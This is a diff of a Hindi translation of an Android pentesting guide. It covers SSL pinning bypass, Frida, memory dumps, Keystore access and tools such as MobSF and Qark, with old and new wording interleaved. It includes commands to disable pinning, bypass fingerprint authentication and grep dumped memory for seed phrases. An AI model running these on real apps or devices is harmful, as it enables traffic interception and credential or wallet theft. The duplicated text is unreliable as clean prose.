- Open-source static-analysis utility है जो APK को Smali में decompile करता है (via apktool) और SSL/TLS pinning implementations के curated regex patterns के लिए scan करता है।
- प्रत्येक मिलान के लिए exact file path, line number, और एक code snippet रिपोर्ट करता है।
- Open-source static-analysis utility जो APK को Smali (via apktool) में decompile करता है और SSL/TLS pinning implementations के curated regex patterns के लिए scan करता है।
- प्रत्येक match के लिए exact file path, line number, और code snippet रिपोर्ट करता है।
- सामान्य frameworks और custom code paths को कवर करता है: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, और Network Security Config XML pins।
Install
@ -464,8 +467,9 @@ python sslpindetect.py -f app.apk -a apktool.jar
# Verbose (timings + per-match path:line + snippet)
python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
```
Example pattern rules (JSON)
प्रोप्रायटरी/कस्टम pinning शैलियों का पता लगाने के लिए signatures का उपयोग करें या इन्हें बढ़ाएँ। आप अपना JSON लोड करके बड़े पैमाने पर scan कर सकते हैं।
उदाहरण पैटर्न नियम (JSON)
signatures का उपयोग करें या उन्हें बढ़ाएँ ताकि proprietary/custom pinning styles का पता लगाया जा सके। आप अपना खुद का JSON लोड कर सकते हैं और बड़े पैमाने पर scan कर सकते हैं।
```json
{
"OkHttp Certificate Pinning": [
@ -479,41 +483,41 @@ Example pattern rules (JSON)
]
}
```
नोट्स और टिप्स
- बड़े ऐप्स पर तेज़ स्कैनिंग के लिए multi-threading और memory-mapped I/O का उपयोग करें; pre-compiled regex से overhead और false positives कम होते हैं
Notes and tips
- बड़े ऐप्स पर तेज़ स्कैनिंग के लिए multi-threading और memory-mapped I/O का उपयोग; pre-compiled regex ओवरहेड/false positives कम करता है
- Pattern collection: https://github.com/aancw/smali-sslpin-patterns
- अगले ट्रायएज के लिए सामान्य detection targets:
- OkHttp: CertificatePinner का उपयोग, setCertificatePinner, okhttp3/okhttp package references
- अगले ट्रायेज़ के लिए सामान्य लक्ष्य:
- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references
- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides
- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers
- Declarative pins res/xml में network security config और manifest references
- मैचे हुए लोकेशनों का उपयोग Frida hooks, static patches, या config reviews प्लान करने के लिए करें, dynamic testing से पहले।
- Declarative pins in res/xml network security config and manifest references
- मैच हुए लोकेशन्स का उपयोग Frida hooks, static patches, या config reviews की योजना बनाने के लिए करें, dynamic testing से पहले।
#### Bypassing SSL Pinning
#### SSL Pinning को बायपास करना
जब SSL Pinning लागू होता है, HTTPS ट्रैफिक निरीक्षण करने के लिए इसे bypass करना आवश्यक हो जाता है। इसके लिए कई तरीके उपलब्ध हैं:
जब SSL Pinning लागू होता है, तो HTTPS ट्रैफिक का निरीक्षण करने के लिए इसे बायपास करना आवश्यक हो जाता है। इसके लिए विभिन्न तरीके उपलब्ध हैं:
- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). इस विकल्प का सबसे बड़ा फायदा यह है कि SSL Pinning bypass करने के लिए root की जरूरत नहीं होगी, लेकिन आपको एप्लिकेशन को डिलीट करके नया इंस्टॉल करना होगा, और यह हमेशा काम नहीं करेगा।
- आप **Frida** (नीचे बताया गया) का उपयोग करके इस प्रोटेक्शन को bypass कर सकते हैं। Burp+Frida+Genymotion उपयोग करने की गाइड यहाँ है: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- आप [**objection**](frida-tutorial/objection-tutorial.md) का उपयोग करके SSL Pinning को ऑटोमैटिकली bypass करने की कोशिश भी कर सकते हैं:**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- आप MobSF dynamic analysis (नीचे समझाया गया) का उपयोग करके SSL Pinning को ऑटोमैटिकली bypass करने की कोशिश भी कर सकते हैं
- यदि आपको लगता है कि अभी भी कुछ ट्रैफिक कैप्चर नहीं हो रहा है, तो आप iptables का उपयोग करके ट्रैफिक को Burp पर forward करने की कोशिश कर सकते हैं। पढ़ें: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
- अपने apk को स्वचालित रूप से modify करके SSLPinning को bypass करने के लिए [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) का उपयोग करें। इस विकल्प का बड़ा फायदा यह है कि SSL Pinning बायपास करने के लिए आपको root की आवश्यकता नहीं होगी, लेकिन आपको application को डिलीट करके नया इंस्टॉल करना होगा, और यह हमेशा काम नहीं करेगा।
- आप इस सुरक्षा को bypass करने के लिए **Frida** का उपयोग कर सकते हैं (नीचे बताया गया है)। यहाँ Burp+Frida+Genymotion का उपयोग करने का गाइड है: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- आप [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` का उपयोग करके SSL Pinning को स्वचालित रूप से bypass करने की कोशिश कर सकते हैं।
- आप **MobSF dynamic analysis** (नीचे समझाया गया) का उपयोग करके भी SSL Pinning स्वचालित रूप से bypass करने का प्रयास कर सकते हैं।
- यदि आपको फिर भी लगता है कि कुछ ट्रैफिक कैप्चर नहीं हो रहा है तो आप ट्रैफ़िक को burp पर फॉरवर्ड करने के लिए iptables का उपयोग कर सकते हैं। इस ब्लॉग को पढ़ें: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Looking for Common Web Vulnerabilities
#### सामान्य वेब कमजोरियों की तलाश
ऐप के अंदर सामान्य web vulnerabilities की खोज करना भी महत्वपूर्ण है। इन vulnerabilities की पहचान और निवारण पर विस्तृत जानकारी इस सारांश के दायरे से बाहर है लेकिन कहीं और व्यापक रूप से कवर की गई है।
ऐप के भीतर सामान्य वेब कमजोरियों की भी खोज करना महत्वपूर्ण है। इन कमजोरियों की पहचान और उनका निवारण करने की विस्तृत जानकारी इस सारांश के बाहर है पर अन्य स्थानों पर व्यापक रूप से कवर की गई है।
### Frida
[Frida](https://www.frida.re) developers, reverse-engineers, और security researchers के लिए एक dynamic instrumentation toolkit है\
**आप running application तक पहुँचकर run time पर methods को hook कर सकते हैं ताकि behaviour बदलें, values बदलें/निकाले, अलग code चलाएँ...**\
यदि आप Android applications का pentest करना चाहते हैं तो आपको Frida का उपयोग करना आना चाहिए।
[Frida](https://www.frida.re) developers, reverse-engineers, और security researchers के लिए एक dynamic instrumentation toolkit है.\
**आप रनिंग application तक पहुँच कर runtime पर methods को hook कर सकते हैं, व्यवहार बदल सकते हैं, मान बदल सकते हैं, वैल्यू एक्सट्रैक्ट कर सकते हैं, अलग कोड चला सकते हैं...**\
यदि आप Android applications का pentest कर रहे हैं तो आपको Frida का उपयोग करना आना चाहिए।
- Frida सीखने के लिए: [**Frida tutorial**](frida-tutorial/index.html)
- Frida सीखें: [**Frida tutorial**](frida-tutorial/index.html)
- Frida के साथ actions के लिए कुछ "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection Frida के उपयोग को automate करने के लिए अच्छा है: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- कुछ Awesome Frida scripts यहाँ मिलेगी: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- anti-debugging / anti-frida mechanisms को bypass करने के लिए Frida को इस तरह load करने की कोशिश करें जैसा कि [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) में बताया गया है (tool [linjector](https://github.com/erfur/linjector-rs))
- Ojection Frida के उपयोग को automate करने के लिए बढ़िया है: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- कुछ Awesome Frida scripts यहाँ मिलेगी: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- anti-debugging / anti-frida mechanisms को bypass करने की कोशिश करें, Frida को ऐसे लोड करके जैसा बताया गया है: [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs))
#### Anti-instrumentation & SSL pinning bypass workflow
@ -523,9 +527,9 @@ android-anti-instrumentation-and-ssl-pinning-bypass.md
### **Dump Memory - Fridump**
जाँचें कि क्या application मेमोरी में संवेदनशील जानकारी रख रहा है जो उसे नहीं रखनी चाहिए, जैसे passwords या mnemonics।
जाँचें कि क्या application मेमोरी में संवेदनशील जानकारी स्टोर कर रहा है जिसे स्टोर नहीं करना चाहिए, जैसे passwords या mnemonics।
Fridump3 का उपयोग कर आप ऐप की मेमोरी dump कर सकते हैं:
Using [**Fridump3**](https://github.com/rootbsd/fridump3) you can dump the memory of the app with:
```bash
# With PID
python3 fridump3.py -u <PID>
@ -534,76 +538,76 @@ python3 fridump3.py -u <PID>
frida-ps -Uai
python3 fridump3.py -u "<Name>"
```
यह मेमोरी ./dump फ़ोल्डर में dump कर देगा, और वहाँ आप कुछ इस तरह grep कर सकते हैं:
यह memory को ./dump फ़ोल्डर में dump कर देगा, और वहाँ आप कुछ इस तरह grep कर सकते हैं:
```bash
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
```
### **Keystore में संवेदनशील डेटा**
Android में Keystore संवेदनशील डेटा स्टोर करने के लिए सबसे अच्छा स्थान है, लेकिन पर्याप्त privileges होने पर इसे अभी भी **access करना संभव** है। चूँकि applications यहाँ अक्सर **sensitive data in clear text** स्टोर करती हैं, इसलिए pentests को इसे root user के रूप में या किसी के पास फिजिकल पहुँच होने पर जांचना चाहिए क्योंकि वे इस डेटा को चुरा सकते हैं।
Android में Keystore संवेदनशील डेटा रखने के लिए सबसे अच्छा स्थान है, हालांकि पर्याप्त privileges होने पर इसे फिर भी **एक्सेस करना संभव है**। चूंकि applications यहाँ अक्सर **सादा टेक्स्ट में संवेदनशील डेटा** स्टोर कर देती हैं, pentests को इसे root user के रूप में जाँचना चाहिए क्योंकि किसी के पास डिवाइस तक भौतिक पहुँच होने पर वे यह डेटा चुरा सकते हैं।
भले ही कोई app डेटा को keystore में स्टोर करे, वह डेटा एन्क्रिप्टेड होना चाहिए।
भले ही किसी app ने Keystore में डेटा संग्रहीत किया हो, डेटा एन्क्रिप्ट किया जाना चाहिए।
Keystore के अंदर मौजूद डेटा तक पहुँचने के लिए आप इस Frida script का उपयोग कर सकते हैं: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
Keystore के अंदर के डेटा को एक्सेस करने के लिए आप यह Frida script उपयोग कर सकते हैं: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
```bash
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Fingerprint/Biometrics Bypass**
निम्नलिखित Frida script का उपयोग करके Android applications में कुछ संवेदनशील हिस्सों की सुरक्षा के लिए लागू किए गए authentication को **bypass fingerprint authentication** किया जा सकता है:
निम्नलिखित Frida script का उपयोग करके यह संभव हो सकता है कि Android applications द्वारा कुछ संवेदनशील क्षेत्रों की सुरक्षा के लिए लागू की जा रही **bypass fingerprint authentication** को दरकिनार किया जा सके:
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
### **पृष्ठभूमि छवियाँ**
जब आप किसी ऐप को बैकग्राउंड में रखते हैं, Android उस ऐप का **snapshot of the application** स्टोर करता है ताकि जब वह फ़ोरग्राउंड में वापस लाया जाए तो यह ऐप से पहले इमेज लोड करना शुरू कर दे और ऐसा लगे कि ऐप तेज़ी से लोड हुआ।
जब आप किसी एप्लिकेशन को बैकग्राउंड में डालते हैं, Android एप्लिकेशन का एक **snapshot** स्टोर करता है ताकि जब वह foreground में लौटे तो यह ऐप के लोड होने से पहले image लोड करना शुरू कर दे ताकि ऐसा लगे कि ऐप तेज़ी से लोड हुआ।
हालाँकि, यदि इस snapshot में **sensitive information** मौजूद है, तो snapshot तक पहुँच रखने वाला कोई भी व्यक्ति **steal that info** कर सकता है (ध्यान दें कि इसे एक्सेस करने के लिए root चाहिए)।
हालाँकि, अगर यह snapshot किसी **संवेदनशील जानकारी** को समाहित करता है, तो snapshot तक पहुँच रखने वाला कोई व्यक्ति वह जानकारी **चुरा सकता है** (ध्यान दें कि इसे एक्सेस करने के लिए आपको root की आवश्यकता होती है)।
Snapshots सामान्यतः यहाँ स्टोर होते हैं: **`/data/system_ce/0/snapshots`**
Snapshots आमतौर पर इस पथ पर स्टोर होते हैं: **`/data/system_ce/0/snapshots`**
Android स्क्रीनशॉट कैप्चर को रोकने का एक तरीका प्रदान करता है: **स्क्रीनशॉट कैप्चर को रोकने के लिए FLAG_SECURE सेट करना**। इस फ्लैग का उपयोग करने पर विंडो की सामग्री को सुरक्षित माना जाता है, जिससे वह स्क्रीनशॉट में दिखाई नहीं देती और गैर‑सुरक्षित डिस्प्ले पर नहीं देखी जा सकती
Android एक तरीका देता है जिससे आप layout parameter में **FLAG_SECURE सेट करके screenshot capture को रोक** सकते हैं। इस flag का उपयोग करने पर, window के contents को secure माना जाता है, जिससे वे screenshots में दिखाई नहीं देते और non-secure displays पर नहीं दिखते
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
### **Android Application Analyzer**
यह टूल डायनामिक विश्लेषण के दौरान विभिन्न उपकरणों को प्रबंधित करने में मदद कर सकता है: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
यह टूल डायनामिक विश्लेषण के दौरान विभिन्न टूल्स को मैनेज करने में मदद कर सकता है: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
### Intent Injection
डेवलपर्स अक्सर activities, services, और broadcast receivers जैसे proxy components बनाते हैं जो इन Intents को हैंडल करते हैं और उन्हें `startActivity(...)` या `sendBroadcast(...)` जैसी मेथड्स को पास कर देते हैं, जो जोखिम भरा हो सकता है।
डेवलपर्स अक्सर activities, services, और broadcast receivers जैसे proxy components बनाते हैं जो इन Intents को हैंडल करते हैं और उन्हें `startActivity(...)` या `sendBroadcast(...)` जैसे मेथड्स को पास करते हैं, जो जोखिम भरा हो सकता है।
खतरा इस बात में है कि attackers को इन Intents को गलत दिशा देकर non-exported app components को ट्रिगर करने या sensitive content providers तक पहुँचने की अनुमति मिल सकती है। एक उल्लेखनीय उदाहरण है `WebView` component द्वारा URLs को `Intent` objects में `Intent.parseUri(...)` के माध्यम से कन्वर्ट करना और फिर उन्हें execute करना, जो संभावित रूप से malicious Intent injections का कारण बन सकता है
खतरा इस बात में है कि attackers इन Intents को गलत दिशा में भेजकर non-exported app components को trigger कर सकते हैं या sensitive content providers तक पहुँच बना सकते हैं। एक ध्यान देने योग्य उदाहरण `WebView` component है जो URLs को `Intent.parseUri(...)` के माध्यम से `Intent` objects में बदलता है और फिर उन्हें execute कर सकता है, जिससे संभावित रूप से malicious Intent injections हो सकते हैं
### आवश्यक निष्कर्ष
- **Intent Injection** web के Open Redirect issue जैसा है।
- Exploits में `Intent` objects को extras के रूप में पास करना शामिल है, जिन्हें redirect करके unsafe operations को execute कराया जा सकता है
- यह non-exported components और content providers को attackers के सामने उजागर कर सकता है।
- `WebView` द्वारा URL से `Intent` में conversion अनिच्छित actions की सुविधा प्रदान कर सकता है।
- **Intent Injection** web के Open Redirect issue के समान है।
- Exploits में `Intent` objects को extras के रूप में पास करना शामिल है, जिन्हें redirect करके unsafe operations execute किए जा सकते हैं
- यह non-exported components और content providers को attackers के लिए उजागर कर सकता है।
- `WebView` की URL से `Intent` conversion अनचाही क्रियाओं की सुविधा दे सकता है।
### Android Client Side Injections and others
शायद आप वेब में इस तरह की vulnerabilities के बारे में जानते होंगे। Android application में इन vulnerabilities के साथ विशेष सावधानी बरतनी चाहिए:
शायद आप Web से इस तरह की vulnerabilities के बारे में जानते होंगे। Android application में इन vulnerabilities के प्रति विशेष सावधानी बरतनी चाहिए:
- **SQL Injection:** जब dynamic queries या Content-Providers के साथ काम कर रहे हों तो सुनिश्चित करें कि आप parameterized queries का उपयोग कर रहे हैं।
- **JavaScript Injection (XSS):** Verify that JavaScript and Plugin support is disabled for any WebViews (disabled by default). [More info here](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** WebViews को file system तक access disabled होना चाहिए (डिफ़ॉल्ट रूप से enabled) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: कई मामलों में जब the android application सेशन खत्म करता है तो cookie revoke नहीं होता या यह disk पर भी saved हो सकता है
- **JavaScript Injection (XSS):** किसी भी WebViews के लिए JavaScript और Plugin support disabled है यह सत्यापित करें (disabled by default). [More info here](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** WebViews को file system तक access disabled होना चाहिए (enabled by default) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: कई मामलों में जब android application session समाप्त करती है तो cookie revoke नहीं होती या वह disk पर भी saved हो सकती है
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
---
## स्वचालित विश्लेषण
## Automatic Analysis
### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF)
**स्टैटिक विश्लेषण**
**Static analysis**
![](<../../images/image (866).png>)
**एप्लिकेशन का vulnerability आकलन** एक अच्छा web-based frontend उपयोग करके किया जाता है। आप डायनामिक विश्लेषण भी कर सकते हैं (लेकिन आपको environment तैयार करना होगा)।
**Vulnerability assessment of the application** एक अच्छी वेब-आधारित frontend के जरिए किया जा सकता है। आप डायनामिक विश्लेषण भी कर सकते हैं (लेकिन आपको environment तैयार करना होगा)।
```bash
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
@ -613,41 +617,41 @@ Also, if you create a **ZIP** file with the source code if an **Android** or an
MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file.
### Assisted Dynamic analysis with MobSF
### MobSF के साथ सहायक Dynamic analysis
**MobSF** मोबाइल में **dynamic analysis** के लिए भी बहुत मददगार हो सकता है, लेकिन इस मामले में आपको अपने होस्ट पर MobSF और **genymotion** इंस्टॉल करना होगा (VM या Docker काम नहीं करेगा)। _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
**MobSF dynamic analyser** निम्न कर सकता है:
**MobSF** Android में **dynamic analysis** के लिए भी बहुत मददगार हो सकता है, लेकिन उस स्थिति में आपको अपने host पर MobSF और **genymotion** इंस्टॉल करना होगा (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
The **MobSF dynamic analyser** can:
- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). इन सब को स्वचालित रूप से किया जाता है सिवाय screenshots के — स्क्रीनशॉट लेने के लिए आपको उस समय दबाना होगा जब आप स्क्रीनशॉट चाहते हैं या सभी exported activities के स्क्रीनशॉट प्राप्त करने के लिए "**Exported Activity Tester**" दबाना होगा।
- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). ये सब स्वचालित रूप से किया जाता है सिवाय screenshots के — screenshots लेने के लिए आपको जब screenshot चाहिए तब दबाना होगा या सभी exported activities के screenshots पाने के लिए "**Exported Activity Tester**" दबाना होगा।
- Capture **HTTPS traffic**
- Use **Frida** to obtain **runtime** **information**
android **versions > 5** से, यह **स्वतः Frida शुरू** कर देगा और ट्रैफिक पकड़ने के लिए global **proxy** सेटिंग्स करेगा। यह केवल टेस्ट की जा रही application से ट्रैफिक ही capture करेगा।
From android **versions > 5**, it will **automatically start Frida** and will set global **proxy** settings to **capture** traffic. It will only capture traffic from the tested application.
**Frida**
By default, यह कुछ Frida Scripts भी उपयोग करेगा ताकि **SSL pinning**, **root detection** और **debugger detection** को bypass किया जा सके और **interesting APIs** की निगरानी की जा सके।\
MobSF **invoke exported activities** भी कर सकता है, उनका **screenshots** ले सकता है और रिपोर्ट के लिए उन्हें **save** कर सकता है।
By default, it will also use some Frida Scripts to **bypass SSL pinning**, **root detection** and **debugger detection** and to **monitor interesting APIs**.\
MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report.
डायनामिक टेस्टिंग शुरू करने के लिए हरे बटन पर प्रेस करें: "**Start Instrumentation**". "**Frida Live Logs**" पर प्रेस करके आप Frida scripts द्वारा जनरेट किए गए logs देख सकते हैं और "**Live API Monitor**" पर जाकर hooked methods, पास किए गए arguments और returned values देख सकते हैं (यह "Start Instrumentation" दबाने के बाद दिखाई देगा)।\
MobSF आपको अपने **Frida scripts** भी लोड करने की अनुमति देता है (अपने Frida scripts के results को MobSF को भेजने के लिए `send()` function का उपयोग करें)। इसमें कई **pre-written scripts** भी होते हैं जिन्हें आप लोड कर सकते हैं (आप और scripts `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` में जोड़ सकते हैं), बस उन्हें **select** करें, "**Load**" दबाएँ और "**Start Instrumentation**" दबाएँ (आप उन scripts के logs "**Frida Live Logs**" के अंदर देख पाएँगे)।
To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\
MobSF also allows you to load your own **Frida scripts** (to send the results of your Frida scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**").
![](<../../images/image (419).png>)
इसके अलावा, आपके पास कुछ Auxiliary Frida functionalities हैं:
Moreover, you have some Auxiliary Frida functionalities:
- **Enumerate Loaded Classes**: यह सभी loaded classes प्रिंट करेगा
- **Capture Strings**: application का उपयोग करते हुए सभी capture strings प्रिंट करेगा (बहुत noisy)
- **Capture String Comparisons**: बहुत उपयोगी हो सकता है। यह **दोनों strings जो compare हो रही हैं** दिखाएगा और परिणाम True या False था या नहीं
- **Enumerate Class Methods**: क्लास का नाम डालें (जैसे "java.io.File") और यह क्लास के सभी methods प्रिंट करेगा।
- **Search Class Pattern**: pattern द्वारा classes खोजें
- **Trace Class Methods**: किसी **पूरी class** को **trace** करें (क्लास के सभी methods के inputs और outputs देखें)। ध्यान रखें कि default में MobSF कई दिलचस्प Android API methods को trace करता है।
- **Capture Strings**: यह application उपयोग करते समय सभी captured strings प्रिंट करेगा (super noisy)
- **Capture String Comparisons**: बहुत उपयोगी हो सकता है। यह तुलना की जा रही दोनों strings दिखाएगा और बताएगा कि result True था या False
- **Enumerate Class Methods**: class name डालें (like "java.io.File") और यह class के सभी methods प्रिंट करेगा।
- **Search Class Pattern**: pattern के द्वारा classes खोजें
- **Trace Class Methods**: **Trace** a **whole class** (क्लास के सभी methods के inputs और outputs देखें)। ध्यान रखें कि डिफ़ॉल्ट रूप से MobSF कई interesting Android Api methods को trace करता है।
एक बार जब आपने वह auxiliary module चुन लिया है जो आप उपयोग करना चाहते हैं, तो आपको "**Start Intrumentation**" दबाना होगा और आप सभी outputs "**Frida Live Logs**" में देखेंगे।
Once you have selected the auxiliary module you want to use you need to press "**Start Intrumentation**" and you will see all the outputs in "**Frida Live Logs**".
**Shell**
MobSF डायनामिक analysis पेज के नीचे कुछ **adb** commands, **MobSF commands**, और सामान्य **shell** **commands** के साथ एक shell भी प्रदान करता है। कुछ रोचक commands:
MobSF आपको dynamic analysis पेज के नीचे कुछ **adb** commands, **MobSF commands**, और आम **shell** **commands** के साथ एक shell भी देता है। कुछ दिलचस्प commands:
```bash
help
shell ls
@ -656,15 +660,15 @@ exported_activities
services
receivers
```
**HTTP tools**
**HTTP टूल्स**
When http traffic is capture you can see an ugly view of the captured traffic on "**HTTP(S) Traffic**" bottom or a nicer view in "**Start HTTPTools**" green bottom. From the second option, you can **send** the **captured requests** to **proxies** like Burp or Owasp ZAP.\
To do so, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> press "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
जब HTTP ट्रैफिक कैप्चर होता है तो आप कैप्चर्ड ट्रैफिक का एक कच्चा व्यू "**HTTP(S) Traffic**" बॉटम में देख सकते हैं या एक बेहतर व्यू "**Start HTTPTools**" हरे बॉटन में। दूसरे ऑप्शन से आप कैप्चर्ड requests को Burp या Owasp ZAP जैसे proxies को **send** कर सकते हैं।\
ऐसा करने के लिए, _Burp on करें -->_ _Intercept off करें --> MobSB HTTPTools में request select करें_ --> "**Send to Fuzzer**" दबाएँ --> _proxy address चुनें_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))।
MobSF के साथ dynamic analysis पूरा करने के बाद आप "**Start Web API Fuzzer**" दबाकर **fuzz http requests** कर सकते हैं और vulnerabilities की तलाश कर सकते हैं।
MobSF के साथ dynamic analysis खत्म करने के बाद आप "**Start Web API Fuzzer**" दबाकर **fuzz http requests** कर सकते हैं और vulnerabilities ढूँढ सकते हैं।
> [!TIP]
> MobSF के साथ dynamic analysis करने के बाद proxy settings गलत कॉन्फ़िगर हो सकती हैं और आप उन्हें GUI से ठीक नहीं कर पाएंगे। आप proxy settings को ठीक करने के लिए नीचे दिया गया कमांड चला सकते हैं:
> MobSF के साथ dynamic analysis करने के बाद proxy settings misconfigured हो सकती हैं और आप उन्हें GUI से ठीक नहीं कर पाएँगे। आप proxy settings को इस कमांड से ठीक कर सकते हैं:
>
> ```
> adb shell settings put global http_proxy :0
@ -672,18 +676,18 @@ MobSF के साथ dynamic analysis पूरा करने के बा
### Assisted Dynamic Analysis with Inspeckage
You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
यह टूल कुछ **Hooks** का उपयोग करेगा ताकि जब आप **dynamic analysis** कर रहे हों तो आपको पता चल सके **एप्लिकेशन में क्या हो रहा है**
आप यह टूल [**Inspeckage**](https://github.com/ac-pm/Inspeckage) से ले सकते हैं।\
यह टूल कुछ **Hooks** का उपयोग करके यह बताता है **application में क्या हो रहा है** जबकि आप **dynamic analysis** कर रहे होते हैं
### [Yaazhini](https://www.vegabird.com/yaazhini/)
This is a **great tool to perform static analysis with a GUI**
यह एक **GUI के साथ static analysis करने के लिए शानदार टूल** है
![](<../../images/image (741).png>)
### [Qark](https://github.com/linkedin/qark)
This tool is designed to look for several **security related Android application vulnerabilities**, either in **source code** or **packaged APKs**. The tool is also **capable of creating a "Proof-of-Concept" deployable APK** and **ADB commands**, to exploit some of the found vulnerabilities (Exposed activities, intents, tapjacking...). As with Drozer, there is no need to root the test device.
यह टूल कई प्रकार की **security related Android application vulnerabilities** खोजने के लिए बनाया गया है, चाहे वह **source code** में हों या **packaged APKs** में। यह टूल कुछ पाए गए vulnerabilities (Exposed activities, intents, tapjacking...) को exploit करने के लिए **"Proof-of-Concept" deployable APK** और **ADB commands** भी बना सकता है। Drozer की तरह, टेस्ट डिवाइस को root करने की ज़रूरत नहीं है।
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -692,22 +696,22 @@ qark --java path/to/specific/java/file.java
```
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
- आसान संदर्भ के लिए सभी निकाले गए फ़ाइलें दिखाता है
- APK फाइलों को स्वचालित रूप से Java और Smali फॉर्मट में decompile करता है
- सामान्य कमजोरियों और व्यवहार के लिए AndroidManifest.xml का विश्लेषण करता है
- सामान्य कमजोरियों और व्यवहार के लिए स्थैतिक स्रोत कोड विश्लेषण
- सभी निकाले गए फाइलों को आसान संदर्भ के लिए प्रदर्शित करता है
- APK फाइलों को स्वचालित रूप से Java और Smali फॉर्मट में decompile करता है
- AndroidManifest.xml का विश्लेषण common vulnerabilities और व्यवहार के लिए करता है
- Static source code analysis — common vulnerabilities और व्यवहार के लिए
- डिवाइस जानकारी
- और भी
- और अधिक
```bash
reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
